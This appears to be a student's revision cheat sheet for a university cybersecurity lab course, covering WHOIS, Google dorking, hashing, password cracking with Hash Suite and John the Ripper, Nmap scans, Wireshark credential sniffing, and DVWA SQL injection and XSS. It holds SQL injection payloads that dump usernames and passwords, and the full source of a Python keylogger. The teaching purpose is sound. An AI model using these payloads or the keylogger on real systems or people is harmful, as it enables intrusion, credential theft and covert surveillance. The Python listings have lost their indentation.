TY B.Sc. Cybersecurity — OSMF

Windows Practical Cheat Sheet • Sem V • Practicals 1–10

Purpose: Last-minute practical revision for the college Windows lab. This sheet follows the terminology, sequence and commands from the uploaded OSMF Practical Manual where applicable.

Practical 1 — WHOIS Enumeration (Passive)

Aim: Information Gathering – WHOIS Enumeration (Passive).

Steps: Open a browser → go to **who.is** → enter the domain used in the manual (example: **nykaa.com**) → search → note registrar, registration/expiry dates and name servers.

Viva: WHOIS is used to retrieve publicly available domain registration details. Passive reconnaissance gathers public information without directly interacting with the target system.

Practical 2 — Google Dorking

Important operators:

Operator	Purpose	Example
site:	Search within a domain	site:geeksforgeeks.org login
filetype:	Find a file type	filetype:pdf "confidential"
intext:	Search page text	intext:"malware detection"
intitle:	Search page titles	intitle:login
inurl:	Search URLs	inurl:login
allinurl:	All terms in URL	allinurl:admin login
cache:	Cached/older page	cache:example.com
related:	Similar websites	related:example.com

Remember: Google Dorking = advanced search operators used for information gathering. Use only authorized targets.

Practical 3 — MD5, SHA-1 and HMAC

MD5: 128-bit output = 32 hexadecimal characters.

```
import hashlib

def generate_md5(message):
md5_object = hashlib.md5()
md5_object.update(message.encode())
return md5_object.hexdigest()

message = "This is TYCybersecurity!"
md5_hash = generate_md5(message)
print(f"MD5 Hash: {md5_hash}")
```

SHA-1: 160-bit output = 40 hexadecimal characters.

```
import hashlib

def calculate_sha1(message):
sha1_object = hashlib.sha1()
sha1_object.update(message.encode())
return sha1_object.hexdigest()

message = "This is a message"
sha1_hash = calculate_sha1(message)
print(f"SHA-1 Hash: {sha1_hash}")
```

HMAC-SHA256: uses a secret key plus a message.

```
import hmac
import hashlib

def generate_hmac(key, message):
hmac_object = hmac.new(
key.encode(), message.encode(), hashlib.sha256
)
```

```
return hmac_object.hexdigest()

key = "secret_key"
message = "This is a message"
hmac_code = generate_hmac(key, message)
print(f"HMAC: {hmac_code}")
```

Practical 4 — Password Cracking / Hash Suite

Windows manual: The practical uses Hash Suite Free / Hash Suite 64.

Steps: Run Hash Suite as Administrator → Use Rules → Tools → Import → From file → import only **wordlist_small.list**.

```
C:\Users\\Downloads\Hash_Suite_Free_4_1\Wordlists\wordlist_small.list
```

Benchmark: Alt + F + B

Hash Calculator: Alt + H + T → enter test text → calculate hash.

John the Ripper commands (if asked):

```
john hash.txt
john --wordlist=wordlist.txt hash.txt
john --show hash.txt
john --test
```

Memory: Hash Suite = Windows GUI; John = command-line password auditing tool.

Practical 5 — Nmap Vulnerability Scanning

Use only an authorized lab/college target IP. The manual uses 192.168.0.1 as an example.

Command	Meaning
nmap -sX 192.168.0.1	XMAS scan
nmap -sF 192.168.0.1	FIN scan
nmap -sN 192.168.0.1	NULL scan
nmap -sS 192.168.0.1	SYN scan
nmap -sT 192.168.0.1	TCP Connect scan
nmap -sn 192.168.0.1	Ping/host discovery scan
nmap -Pn 192.168.0.1	Skip host discovery
nmap -n 192.168.0.1	Disable DNS resolution

Memory: -sX XMAS • -sF FIN • -sN NULL • -sS SYN • -sT TCP • -sn Ping • -Pn no ping • -n no DNS.

Practical 6 — Wireshark / Password Sniffing

Steps: Open Wireshark → select active Ethernet interface → Start capture → use an authorized lab HTTP test page → perform the test login/action → Stop capture.

Filters:

```
http
http.request
http.request.method == "POST"
```

Locate the relevant POST request and inspect the packet details. The practical demonstrates the risk of credentials transmitted over an unencrypted protocol.

Important: Never capture other people's credentials or traffic. Use only the authorized lab traffic.

Practical 7 — Low-Level SQL Injection with DVWA

Windows/XAMPP setup:

```
DVWA location:
C:\xampp\htdocs\DVWA-master

Rename:
config.inc.php.dist → config.inc.php

MySQL:
3306 → 3307

Apache:
80 → 8081

Apache SSL:
443 → 4433
```

DVWA config: edit **C:\xampp\htdocs\DVWA-master\config\config.inc.php** and set the database server to **127.0.0.1:3307**; use the blank password specified by the manual.

URL:

```
http://127.0.0.1:8081/DVWA-master/
```

Login: admin / password

Then: DVWA Security → Low → Submit → SQL Injection

Manual SQLi payloads for the local DVWA lab:

```
1' OR '1'='1'#

'UNION SELECT user, password FROM users; #
```

Memory: DVWA → Low → SQL Injection → User ID → Submit.

Use only your local DVWA/authorized lab.

Practical 8 — Stored XSS

Steps: Login to DVWA → Security = Low → XSS (Stored).

Guestbook: enter a test name and harmless message → Sign Guestbook → observe that the entry remains stored/displayed.

Database verification from manual: XAMPP → MySQL Admin → dvwa → guestbook.

Viva: Stored XSS is input that is stored by the application and later rendered to users.

Practical 9 — Reflected XSS

Steps: Login to DVWA → Security = Low → XSS (Reflected) → enter test input → submit → observe immediate reflection.

Harmless local-DVWA test:

```
alert("XSS")
```

Difference: Stored XSS is saved and later rendered; Reflected XSS is immediately reflected in the response.

Use only the local DVWA lab.

Practical 10 — Python Keylogging

Install dependency in Windows CMD:

```
python -m pip install pynput
```

Save as: keylogger.py

```
from pynput import keyboard as k

def log_write(data):
with open("keylog.log", "a") as file:
file.write(str(data))

def write(key):
if str(key) == "key.esc":
print("keylogger stopped")
return False

try:
```

```
log_write(str(key.char))
except Exception:
log_write("\n" + str(key) + "\n")
return

log_write("\nNew session Started\n")

with k.Listener(on_release=write) as l:
l.join()
```

Run:

```
python keylogger.py
```

Type test keys on your own machine, press ESC to stop, then inspect **keylog.log**.

Safety: Use only on your own test machine/lab. Do not deploy or use it to capture another person's keystrokes.

■ Last-Minute Revision

Practical	Core thing to remember
1	WHOIS = passive domain information
2	Dorking = Google search operators
3	MD5 / SHA-1 / HMAC = hashing & message authentication
4	Hash Suite / John = password auditing
5	Nmap = network/port scanning
6	Wireshark = packet capture & analysis
7	SQL Injection = manipulate vulnerable SQL input
8	Stored XSS = stored malicious input
9	Reflected XSS = immediately reflected input
10	pynput = keyboard-event demonstration

Most important commands:

```
python -m pip install pynput
python keylogger.py

nmap -sS
nmap -sT
nmap -sn
nmap -Pn
nmap -n

john hash.txt
john --wordlist=wordlist.txt hash.txt
john --show hash.txt
john --test
```

Wireshark filters:

```
http
http.request
http.request.method == "POST"
```

DVWA Windows URL:

```
http://127.0.0.1:8081/DVWA-master/
```

DVWA credentials: admin / password

DVWA security: Low

Source basis: Uploaded TY-CYBER Sem-V OSMF Practical Manual. Commands and procedures are intended for the authorized practical/lab environment.